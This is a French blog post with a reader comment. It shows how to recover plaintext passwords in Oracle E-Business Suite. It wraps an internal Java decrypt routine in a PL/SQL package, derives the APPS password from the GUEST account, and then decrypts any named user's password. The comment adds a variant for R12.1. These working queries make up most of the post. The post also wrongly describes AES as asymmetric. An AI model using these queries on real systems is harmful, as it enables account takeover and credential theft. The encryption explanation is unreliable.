mercredi 10 décembre 2014

Mot de passe dans Oebs



Est-il de règle de commencer par cette phrase lorsqu'on parle de récupérer un mot de passe, afin de montrer que cette connaissance n'implique pas forcément la volonté de récupérer des mots de passe de manière intrusive ?
Je me suis posé cette question sachant que ce moyen existait et ayant quelques notions de cryptographie, qualité toutefois non nécessaire pour effectuer ces tâches de récupération. Il est néanmoins nécessaire de disposer d'un certain nombre d'éléments.
Les éléments ci-dessous se basent essentiellement sur un note trouvée ici. Notons que cette note date de 2006 et qu'elle est toujours valable à quelques détails prêts.

1 - Faire un PKG ou une fonction sur compte APPS
CREATE OR REPLACE PACKAGE XX_TEST_MDP
    AS
       FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
          RETURN VARCHAR2;
    END XX_TEST_MDP;
    /
    
    CREATE OR REPLACE PACKAGE BODY XX_TEST_MDP
    AS
       FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
          RETURN VARCHAR2
       AS
          LANGUAGE JAVA
          NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
    END XX_TEST_MDP;


2 - Obtenir le mot de passe APPS à partir du compte GUEST
SELECT a.user_name,(
      SELECT XX_TEST_MDP.decrypt(
                                     ((SELECT upper(fnd_profile.value('GUEST_USER_PWD')) FROM dual))
                                    ,a.encrypted_foundation_password)
      FROM dual
      ) AS apps_password
FROM  fnd_user a
WHERE  a.user_name LIKE upper(
    (SELECT
          substr(fnd_profile.value('GUEST_USER_PWD'),1,instr(fnd_profile.value('GUEST_USER_PWD'),'/')-1)
           FROM dual)
     );

3- Obtenir mot de passe d'un utilisateur TOTO
SELECT   fnd_user.user_name,
           XX_TEST_MDP.decrypt
              (:mdp_apps,  fnd_user.encrypted_user_password ) decrypted_user_password
      FROM fnd_user
      WHERE user_name = 'TOTO'
  ORDER BY fnd_user.user_name;


4 - Moyen détourné d'avoir APPS (en ayant connaissance d'un utilisateur lambda)
Remarquons que la clef de cryptage est constituée du nom utilisateur et de son mot de passe...
SELECT a.user_name,(
      XX_TEST_MDP.decrypt(
                                     ((a.user_name||'/:mdp_lambda))
                                    ,a.encrypted_foundation_password)
      ) apps_password
FROM  fnd_user a
WHERE   a.user_name = 'Lambda
';

Les données cryptées dans la table FND_USER ressemblent à quelques chose comme cela :
ZGFB66A8F502A7C5E5B672D32264987F1EE4B4FDC791AE838B3972DD5A200E8B5B53A9A20F01D1B4CBD870F8DF16E43F3456

Il est possible de construire (comme c'est fait par exemple ici)  ses propres fonctions d'encryptage.
Signalons aussi que le DES est considéré dépassé, et qu'Oracle applications utilise vraisemblablement le triple DES (cf. quelques copies d'écran ci-dessous, quelque amateur averti pourra s'amuser à le vérifier et à trouver la méthode de cryptage à partir des données ci-dessus récupérées). Dans ce type d'algorithme, les données entrées sont mélangées à celles d'une clef (processus itératif d'additions, de découpage et de collage répétés dit à clef symétrique car la même clef est utilisée au décodage qu'au codage, le processus de décodage consistant à "détricoter" (à effectuer la même série d'opération en sens inverse). Un chiffrage asymétrique comme AES utilise une clef de chiffrage différente de la clef de déchiffrage.




What would you do if I sang out of tune,
Would you stand up and walk out on me.
Lend me your ears and I'll sing you a song,
And I'll try not to sing out of key.

1 commentaire:

Anonyme a dit…

Note de julien :
In R12.1, FND now provides an API to get the guest user information (username/password) from the vault called:

FND_WEB_SEC.GET_GUEST_USERNAME_PWD

SELECT a.user_name,(
XX_TEST_MDP.decrypt(
((a.user_name||'/'||:mdp_guest))
,a.encrypted_foundation_password)
) apps_password
FROM fnd_user a
WHERE a.user_name = 'GUEST';

SELECT fnd_user.user_name,
XX_TEST_MDP.decrypt
(:mdp_apps, fnd_user.encrypted_user_password ) decrypted_user_password
FROM fnd_user
WHERE user_name = :user_name
ORDER BY fnd_user.user_name;